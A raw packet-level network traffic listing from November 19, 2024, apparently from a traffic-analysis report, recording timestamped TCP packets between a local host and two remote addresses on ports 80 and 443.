Nov 19, 2024 22:07:09.160094976 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160120964 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160123110 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.160156965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160311937 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.160325050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160366058 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160415888 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.160423040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160444021 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160455942 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160470009 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.160505056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160510063 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.160572052 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160630941 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.160676956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160738945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160759926 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160794020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.160800934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160811901 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.160830021 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160850048 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.160878897 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.160882950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160922050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160933018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.160940886 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.160979986 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161009073 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161196947 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161286116 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161298037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161336899 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161345005 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161375046 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161381006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161401033 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161412001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161439896 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161456108 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161467075 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161485910 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161504030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161530972 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161556005 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161571980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161593914 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161619902 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161623955 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161639929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161654949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161672115 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161674023 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161711931 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161716938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161740065 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161780119 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161792040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161823988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161838055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161844015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161859989 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161878109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161895990 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161906004 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161925077 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161936045 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161945105 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161968946 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.161983013 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.161988020 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162005901 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162014961 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162034988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162054062 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162054062 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162250042 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162285089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162312984 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162334919 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162350893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162353039 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162395000 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162399054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162410975 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162436008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162446976 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162477970 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162496090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162513971 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162527084 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162540913 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162565947 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162584066 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162585020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162596941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162609100 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162636042 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162647009 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162664890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162672997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162719011 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162739038 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162739038 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162759066 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162796021 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162811041 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162837029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162842035 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162868977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162883997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162889957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162894964 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162921906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.162945986 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.162977934 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163018942 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163029909 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163041115 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163059950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163072109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163073063 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163091898 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163094044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163108110 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163120031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163134098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163141012 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163151026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163189888 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163208008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163219929 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163220882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163259983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163263083 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163300991 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163300991 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163302898 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163371086 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163423061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163444996 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163476944 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163476944 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163490057 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163506031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163511992 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163548946 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163569927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163579941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163587093 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163625002 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163630962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163676977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163676977 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163713932 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163727999 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163742065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163764954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163795948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163806915 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163835049 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163857937 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163863897 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163876057 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163876057 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163909912 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163935900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163963079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.163985014 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.163991928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164004087 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164035082 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164051056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164102077 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164113998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164149046 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164160013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164185047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164201975 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164211988 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164215088 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164254904 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164261103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164299965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164307117 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164313078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164346933 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164355993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164365053 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164416075 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164455891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164463997 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164498091 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164499044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164514065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164525986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164546967 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164582014 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164589882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164604902 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164619923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164633036 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164648056 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164661884 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164685011 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164690018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164702892 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164720058 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164742947 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164777994 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164808989 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164850950 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164868116 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164880037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164915085 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164943933 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164957047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.164956093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164975882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164990902 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.164993048 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.165003061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.165030003 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.165040016 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.165057898 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.165069103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.165069103 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.165098906 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.165107012 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.165119886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.165137053 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.165155888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.165164948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.165174007 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.165204048 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.293514013 CET	443	49880	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.294039011 CET	49880	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.294096947 CET	443	49880	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.294466019 CET	49880	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.294481039 CET	443	49880	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.311990976 CET	443	49881	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.312500000 CET	49881	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.312586069 CET	443	49881	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.312941074 CET	49881	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.312956095 CET	443	49881	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.313523054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.313575983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.313616037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.313652992 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.313653946 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.313692093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.313694954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.313733101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.313747883 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.313747883 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.313785076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.313793898 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.313828945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.313867092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.313868999 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.313906908 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.313925982 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.313945055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.313972950 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.313982010 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.313993931 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314021111 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314039946 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314058065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314091921 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314095020 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314127922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314131021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314162016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314166069 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314203024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314229965 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314241886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314270020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314280987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314308882 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314322948 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314332008 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314359903 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314397097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314414024 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314434052 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314452887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314466953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314503908 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314507008 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314543009 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314569950 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314587116 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314599037 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314625978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314646006 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314662933 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314680099 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314702988 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314723015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314740896 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314762115 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314773083 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314805984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314811945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314850092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314867020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314889908 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314909935 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314929008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314949989 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.314965963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.314991951 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315004110 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315016031 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315042019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315066099 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315074921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315098047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315112114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315150023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315167904 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315186977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315202951 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315226078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315247059 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315263033 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315290928 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315301895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315345049 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315359116 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315367937 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315392971 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315414906 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315431118 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315466881 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315498114 CET	49864	80	192.168.2.4	31.41.244.11
